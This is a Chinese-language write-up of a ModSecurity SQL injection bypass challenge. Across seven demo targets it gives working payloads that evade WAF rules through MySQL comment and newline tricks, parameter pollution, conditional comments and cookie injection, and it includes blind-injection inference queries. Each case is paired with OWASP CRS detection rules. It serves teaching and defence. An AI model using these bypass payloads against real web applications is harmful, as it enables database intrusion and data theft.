ModSecurity SQL注入攻击 – 深度绕过技术挑战

0×1:

        
  1. 目标应用系统:   Acunetix Acuart Site
  2. 注入点: http : //www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=1';

分析:

注入点很明显,通过测试可以知道这个注入点为数字型的注入,各种拼接都可以进行,但是普通的注入方法无一例外都会触发Mod的拦截规则。

这里采用mysql注释+CRLF绕过思路来进行注入

Mysql Comment Syntax

    1) "#"用于单行注释

    2) "– "用于单行注释,但要注意使用这种风格的注释符必须保证在"双横线"后面跟上一个"空格或控制符Control Char(控制符可以是空格, Tab制表符, 换行符Newline…)"(在使用的时候要注意URL编码,例如换行符的URL编码为%0D%0A)。关于这种"Double Dash注释符"在Mysql的官方文档中还有一点细节要注意(重点就是新版的Mysql解析引擎的改进避免了"基于减号导致的注释型注入")

    3) "/* */"C风格的注释符,这种注释允许跨行注释(即允许在注释符中添加换行符,例如: /*..%0D%0A..*/)

    mysql
    >
     SELECT 
    1
    +
    1
    ;
         
    # This comment continues to the end of line
    
mysql
    >
     SELECT 
    1
    +
    1
    ;
         
    --
     
    This
     comment continues to the 
    end
     of line
mysql
    >
     SELECT 
    1
    /* this is an in-line comment */
      
    +
     
    1
    ;
    
mysql
    >
     SELECT 
    1
    +
    
    /*
this is a
multiple-line comment
*/
    
    1
    ;
  

回到我们的注入点上来看看,我们使用mysql注释+CRLF来进行payload的构造(注意URL编码):

        
  1. http : //www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

        
  1. http :// www . modsecurity . org / testphp . vulnweb . com / artists . php ? artist = 0 div 1 union #foo*/*bar
  2. select #foo
  3. 1 , 2 , current_user

对其URL转义如下(注意换行符的解析):

    0
     div 
    1
     
    union
    #foo*/*bar
    
    select
    #foo
    
    1
    ,
    2
    ,
    current_user
  

这句sql语句到了Mysql的解析引擎后会再次被解析为:

    0
     div 
    1
     
    union
     
    select
     
    1
    ,
    2
    ,
    current_user
  

可以看到,注释符之间进行了就近原则的交错组合,Mysql的Sql Parser则选择进行了忽略。

而ModSecurity CRS的规则如下:

注意到这个":replaceComments",我们知道,ModSecurity使用正则表达式来对Input Sql进行匹配检测,对Select、Union在敏感位置的出现都进行了拦截,但是ModSecurity有一个特点(或者叫优点),它会对输入进行" 规范化",规范化的本意本来是防御"基于编码格式、解析顺序"的绕过的。

例如:

Mod可以抵抗这种形式的绕过: 

    SEL
    /**/
    ECT
  

在"规范化"之后,攻击者的本来目的就暴露在了Mod的检测下,这个时候再上规则就可以检测出来了,可以说,规范化是一个很好的防御思路。

但是这里却导致了另一种的"绕过"

问题的关键就在于ModSecurity对注释的理解和Mysql的解析引擎理解不同,(老问题: 同一个业务规则在不同的系统中的理解语义不同往往可能导致绕过)

    :
    replaceComments

    Unterminated
     comments will also be replaced with a space 
    (
    ASCII 
    0x20
    ).
     
    However
    ,
     a standalone termination of a comment 
    (*/)
     will not be acted upon
    .
  

也就是说,Mod会忽略前向半开注释并把后向半开注释当成单行注释(如果它没有找到后向半开的闭合注释时)

Mod的拦截日志中可以看到如下记录:

这样,在Mod看来,我们输入的Payload就变成了:

    "0 div 1 union#foo* "
  

但是在Mysql看来,我们的sql语句其实是:

    0
     div 
    1
     
    union
     
    select
     
    1
    ,
    2
    ,
    current_user
  

防御方法:

1) 将原来的去除注释方法改为对SQL注释的匹配

    #
    
    # -=[ Detect SQL Comment Sequences ]=-
    
    #
    
    SecRule
     REQUEST_COOKIES
    |
    REQUEST_COOKIES_NAMES
    |
    REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :
    /* \
"(\/\*\!?|\*\/|\-\-[\s\r\n\v\f]|(?:--[^-]*-)|([^\-&])#.*[\s\r\n\v\f]|;?\\x00)" \
"phase:2,rev:'2.2.2',id:'981231',t:none,t:urlDecodeUni,block,msg:'SQL Comment Sequence Detected.',capture,logdata:'%{tx.0}',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.sql_injection_score=+1,setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
  

但是这种方法从本质上又回到了"黑名单模式"的范畴中,有可能再次导致别的形式的绕过


2) 使用多行匹配(MultiMatch Action)+规范化方法(ReplaceComments) 

    SecRule
     REQUEST_COOKIES
    |
    REQUEST_COOKIES_NAMES
    |
    REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :
    /* "(?i:\buser_tables\b)" \
	"phase:2,rev:'2.2.2',capture,multiMatch,t:none,t:urlDecodeUni,t:replaceComments,ctl:auditLogParts=+E,block,msg:'Blind SQL Injection Attack',id:'959918',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.
  

0×2:

        
  1. 目标应用系统:   Cenzic Crack Me Bank
  2. 注入点:  http : //www.modsecurity.org/Kelev/php/accttransaction.php (POST)

注入Payload:

绕过分析:

这里采用了"碎片注入法(分段SQL注入)",或者是我们常说的"Split And Balance原则"。例如:

    对于最简单的情况,可以使用字符串连接技术将较小的部分构造成一个字符串。不同的数据库使用不同的语法来构造字符串
    
oracle
    :
     
    'selec'
    ||
    't'
    
sqlserver
    :
     
    'selec'
    +
    ''
    ;
    
mysql
    :
     
    'selec'
    +
    't'
    
    (这就是所谓的
    split and balance
    思想)
    
    还要注意的是,加号和空格要先进行
    
      
        URL
      
      编码后再发送
    
  

这种技术的好处是可以将原本完整的Payload分成几段,利用ModSecurity对SQL语义的理解不全来进行规则绕过。常常用于进行"二值逻辑"的盲注推理。

回到注入点上来看:

对于Mod来说,我们的攻击Payload为:

    hUserId
    =
    22768
    &
    FromDate
    =
    a1
    %
    27
    +
    or
    &
    ToDate
    =%
    3C
    %
    3Eamount
    +
    and
    %
    27
    &
    sendbutton1
    =
    Get
    +
    Statement
  

        
  1. hUserId = 22768 & FromDate = a1 ' or&ToDate=<>amount and' & sendbutton1 = Get Statement

而对于Mysql的解析引擎来说,它会自动去除、转换这些连接控制符,从而变成:

      
  1. hUserId = 22768 & FromDate = a1 % 27 + or & ToDate =<> amount and % 27 & sendbutton1 = Get Statement

防御方法:

1) 这里有个概念叫"String Termination/Statement Ending Injection Testing"。攻击者在进行SQL注入检测的时候常常会使用一些"终止符",例如单引号、NULL等等,并通过观察页面是否报错来获知当前页面是否存 在注入点。

为了防御这种注入,可以使用以下CRS规则:

    #
    
    # -=[ String Termination/Statement Ending Injection Testing ]=-
    
    #
    
    # Identifies common initial SQLi probing requests where attackers insert/append
    
    # quote characters to the existing normal payload to see how the app/db responds.
    
    #
    
    SecRule
     REQUEST_COOKIES
    |
    REQUEST_COOKIES_NAMES
    |
    REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :/*
     \

    "(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:xor|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))"
     \

    "phase:2,rev:'2.2.2',capture,t:none,t:urlDecodeUni,block,msg:'SQL Injection Attack: SQL Operator Detected',id:'981212',logdata:'%{TX.0}',severity:'2',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.notice_anomaly_score},setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
  

2) 注意到我们的攻击Payload中一个Mysql逻辑运算符: "<>"。攻击者可以利用逻辑运算符进行"盲注推理"。例如,我们常见的传统盲注手段:

    and 
    (
    ascii
    (
    substring
    ((
    select username from admin
    ),
    1
    ,
    1
    )))>
    97
    
    (这种就是将逐个字符转成
    ASCII
    值然后用二分查找法进行猜测)
    

UPDATE table SET views 
    =
     
    '1'
     WHERE id 
    =
     
    -
    2441
     OR 
    (
    ORD
    (
    MID
    ((
    SELECTIFNULL
    (
    CAST
    (
    FirstName
     AS CHAR
    ),
    0x20
    )
     FROM nowamagic
    .
    `tb2`
     ORDER BY id LIMIT 
    1
    ,
    1
    ),
    2
    ,
    1
    ))>
    112
    )#
    
    (同样的思路,换了一个函数)
  

为了防御这种注入,我们可以使用以下CRS规则

    #
    
    # -=[ SQL Operators ]=-
    
    #
    
    SecRule
     REQUEST_COOKIES
    |
    REQUEST_COOKIES_NAMES
    |
    REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :/*
     \

    "(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:xor|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))"
     \

    "phase:2,rev:'2.2.2',capture,t:none,t:urlDecodeUni,block,msg:'SQL Injection Attack: SQL Operator Detected',id:'981212',logdata:'%{TX.0}',severity:'2',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.notice_anomaly_score},setvar:tx.anomaly_score=+%{tx.notice_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
  

0×3:

        
  1. 目标应用系统:  IBM demo . testfire . net site
  2. 注入点:  http : //www.modsecurity.org/bank/login.aspx (POST)

注入Payload:

这里使用了HPP(HTTP Parameter Pollution)注入技术,关于HPP,有很多相关的资料:

        
  1. http : //www.80sec.com/%E6%B5%85%E8%B0%88%E7%BB%95%E8%BF%87waf%E7%9A%84%E6%95%B0%E7%A7%8D%E6%96%B9%E6%B3%95.html
  2. http : //www.freebuf.com/articles/web/5908.html
  3. http : //hi.baidu.com/aullik5/item/860da508a90709843c42e2ca
  4. http : //hi.baidu.com/4b5f5f4b/item/abc28dda72c100f154347f36
  5. https : //www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

回到我们的注入Payload上来,我们注意到after这个字段出现了3次,其中后2次的出现其实是产生了逗号的作用,以此来进行绕过。要注意的一点是,HPP攻击和具体的应用系统环境有很大关系,在不同的系统上表现不太一致:<处理方式不一样>

        
  1. https : //www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt

防御方法:

我们可以采用以下的CRS规则来防御HPP攻击:

    # -=[ Rules Logic }=-
    
    # The ruleset below is not looking for attacks directly, but rather is a crude normalization
    
    # function that mimics ASP.NET with regards to joining the payloads of parameters with the
    
    # same name.  These rules will create a new TX:HPP_DATA variable that will hold this data.
    
    # If you have enabled PARANOID_MODE, then this variable data will also be searched against
    
    # attack filters.
    
    #
    
    # -=[ References ]=-
    
    # http://tacticalwebappsec.blogspot.com/2009/05/http-parameter-pollution.html
    
    #  
    
    SecRule
     ARGS 
    "^"
     
    "chain,phase:2,t:none,nolog,pass,capture,id:'900032',rev:'2.2.9',setvar:tx.%{matched_var_name}=+1"
    
    SecRule
     TX
    :/^
    ARGS
    :/
     
    "@gt 1"
     
    "chain,t:none"
    
    SecRule
     MATCHED_VARS_NAMES 
    "TX:(ARGS:.*)"
     
    "chain,capture,t:none,setvar:tx.hpp_names=%{tx.1}"
    
    SecRule
     ARGS 
    ".*"
     
    "chain,t:none,capture,setvar:tx.arg_counter=+1,setvar:'tx.hppnamedata_%{tx.arg_counter}=%{matched_var_name}=%{tx.0}'"
    
    SecRule
     TX
    :/
    HPPNAMEDATA_
    /
     
    "@contains %{tx.hpp_names}"
     
    "chain,setvar:tx.hpp_counter=+1,setvar:tx.hpp_counter_%{tx.hpp_counter}=%{matched_var}"
    
    SecRule
     TX
    :/
    HPP_COUNTER_
    /
     
    "ARGS:(.*)?=(.*)"
     
    "capture,setvar:'tx.hpp_data=%{tx.hpp_data},%{tx.2}'"
  

0×4:

        
  1. 目标应用系统:   Cenzic Crack Me Bank
  2. 注入点:  http : //www.modsecurity.org/Kelev/php/accttransaction.php (POST)

注入Payload:

思路分析:

这里采用了"半开注释符(Unterminated Comments)"+"Mysql注释符代码执行(MySQL Comment Extensions for conditional code execution)"技术来进行绕过

半开注释符我们之前说过了,是利用Mod的replaceComments来进行敏感关键字的绕过。而"Mysql注释符代码执行"则是Mysql的一个运行机制。

Mysql的官方文档如下:

    MySQL
     
    Server
     supports some variants of C
    -
    style comments
    .
     
    These
     enable you to write code that includes 
    MySQL
     extensions
    ,
     but is still portable
    ,
     by using comments of the following form
    :
    
    (
    Mysql
    允许
    C
    风格的注释符,并允许在其中写入
    Mysql
    扩展,即插入可执行
    sql
    代码)
  
    /*! MySQL-specific code */
  

Mysql的Paerser引擎会自动解析这种格式中的sql代码,同时其他的数据库(例如MSSQL、ORACLE会自动忽略这些注释),也就是说,这是Mysql特有的特性:

    select
     
    1
     
    union
    
      /*!select */
    
    version
    ();
    
    select
     
    1
     
    union
    /*!32302 select */
    version
    ();
  

防御方法:

和 0×1 一样,采用使用多行匹配(MultiMatch Action)+规范化方法(ReplaceComments) 

0×5:

        
  1. 目标应用系统:  IBM demo . testfire . net site
  2. 注入点:  http : //www.modsecurity.org/bank/login.aspx (COOKIE)

注入Payload:

注入分析:

注入点并没有什么特别的,关键在与这里采用了COOKIE注入

防御方法:

关于这个COOKIE注入,我想延伸几点想法:

  1. 在注入点的选择中,HTTP中的任何字段、任何位置都"有可能"产生SQL注入,这里只能说有可能,因为是否能否产生注入,和具体的应用系统的环境有关,即应用系统会使用哪些字段带入数据进行执行

  2. "GPCS"的作用:

    在php.ini中有一项配置: variables_order = "GPCS"(具体的顺序和字符和具体你的配置有关)

如果在php.ini中开启了"register_globals"这个选项,则PHP会按 照"$GET"、"$POST"、"$COOKIE"、"SERVER"的顺序来把这些全局数据中国的子键抽取出来,注册到本地变量的的符号表中,即全局 变量本地化。这个顺序很重要,这往往是很多本地变量覆盖漏洞利用的关键

    3.  HTTP中的任意位置都有可能产生SQL注入,看下面的例子:

        
  1. http : //sebug.net/vuldb/ssvid-8427
  2. Create New Admin Exploit FOR php168 v4 . 0SP

这个例子中,注入点发生在"X-FORWARDED-FOR"这个字段中,这本来是应用系统用来做记录登录用户的IP、代理IP的业务功能,但是因为没有过滤严格,导致了注入的发生

0×6:

        
  1. 目标应用系统:   Acunetix Acuart Site
  2. 注入点:  http : //www.modsecurity.org/testphp.vulnweb.com/listproducts.php?artist=1'

注入Payload:

    http
    ://
    www
    .
    modsecurity
    .
    org
    /
    testphp
    .
    vulnweb
    .
    com
    /
    artists
    .
    php
    ?
    artist
    =%
    40
    %
    40new
    %
    20union
    %
    23sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql
    %
    0Aselect
    %
    201
    ,
    2
    ,
    database
    %
    23sqlmap
    %
    0A
    %
    28
    %
    29
  

        
  1. http :// www . modsecurity . org / testphp . vulnweb . com / artists . php ? artist =% 40 % 40new % 20union % 23sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql % 0Aselect % 201 , 2 , database % 23sqlmap % 0A % 28 % 29

Payload分析:

这里采用了"Mysql注释(MySQL Comment )"+"换行绕过(New Line trick )"的组合方法来进行Mod的绕过(本质上是对Mod所使用的正则表达式的绕过)

在Mod看来,我们的Payload如下:

    http
    :
    //www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=@@new union#sqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsqlmapsql
    
    select
     
    1
    ,
    2
    ,
    database
    
      #sqlmap
      
      ()
    
  

然而,当这段SQL代码进入Mysql的解析引擎的时候,Mysql看到的是这样的形式:

    artist
    =@
    @new
     
    union
     
    select
     
    1
    ,
    2
    ,
    database
    ()
  

防御方法:

我们知道,SQL(Structure Query Language)是一种及其灵活的命令式语言,各个元素之间的组合可以有很多种,采用正则REGEX的方法来进行匹配常常无法做到精确指导,为了解决这个问题,我们有两种思路

1) 采用高阶的SQL解析方法,例如AST:

        
  1. http : //www.cnblogs.com/LittleHann/p/3495602.html

2) 改进正则,采用敏感关键字匹配的方法

    SecRule
     REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :/*
     \

    "([\~\!\@\#\$\%\^\&\*\(\)\-\+\=\{\}\[\]\|\:\;\"\'\′\’\‘\`\<\>].*){4,}"
     \

    "phase:2,t:none,t:urlDecodeUni,block,id:'981173',rev:'2.2.1',msg:'Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded',capture,logdata:'%{tx.1}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.sql_injection_score=+1,setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-WEB_ATTACK/RESTRICTED_SQLI_CHARS-%{matched_var_name}=%{tx.0}"
  

0×7:

        
  1. 目标应用系统:   Acunetix Acuart Site
  2. 注入点:  http : //www.modsecurity.org/testphp.vulnweb.com/listproducts.php?artist=1'

注入Payload: %0b分隔


Payload分析:

这里采用了"Mysql错误回显"+"Tab键分隔绕过"的组合方法来进行Mod的绕过,这里的关键点是没有使用传统的空格来进行"Split And Balance"。

这里要提的是黑名单思想,对"Split And Balance"的防御如果采用黑名单容易产生绕过:

      
  1. https : //docs.google.com/document/d/1rO_LCBKJY0puvRhPhAfTD2iNVPfR4e9KiKDpDE2enMI/edit?pli=1#Allowed_Intermediary_Character_30801873723976314

如果一定要采用黑名单,则必须进行严格的代码审计和测试,保证黑名单的完整性

    例如,
    
      Mysql
    
    中允许的分隔符为:
    
    
      09
      
      0A
      
      0B
      
      0C
      
      0D
    
    
      A0
    
  

防御方法:

采用完整的"准空格分隔符"黑名单CRS

    SecRule
     REQUEST_COOKIES
    |
    REQUEST_COOKIES_NAMES
    |
    REQUEST_FILENAME
    |
    ARGS_NAMES
    |
    ARGS
    |
    XML
    :/*
     \

    "(?i:(?:,.*[)\da-f(\"|'|`|′|’|‘)](\"|'|`|′|’|‘)(?:(\"|'|`|′|’|‘).*(\"|'|`|′|’|‘)|\Z|[^(\"|'|`|′|’|‘)]+))|(?:\Wselect.+\W*from)|((?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*\(\s*space\s*\())"
     \

    "phase:2,capture,multiMatch,t:none,t:urlDecodeUni,t:replaceComments,block,msg:'Detects MySQL comment-/space-obfuscated injections and backtick termination',id:'981257',tag:'WEB_ATTACK/SQLI',tag:'WEB_ATTACK/ID',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.id}-%{rule.msg}',setvar:tx.anomaly_score=+5,setvar:'tx.%{tx.msg}-WEB_ATTACK/SQLI-%{matched_var_name}=%{tx.0}',setvar:'tx.%{tx.msg}-WEB_ATTACK/ID-%{matched_var_name}=%{tx.0}'
  

3. 总结


Blacklist filtering is not enough — 不要依赖黑名单机制

应该使用多种方法进行纵深防御

      
  1. https : //www.trustwave.com/application-security/

对输入验证采用安全模型,包括规范化数据类型数据格式数据长度

      
  1. https : //www.trustwave.com/web-application-firewall/

WAF作为一个防御手段,从某种程序上来说只是增加了攻击者的攻击成本,并不能从根本上解决注入的发生,要解决注入漏洞的产生,保护敏感数据,必须多管齐下,从应用系统、WAF、数据库防火墙的角度去思考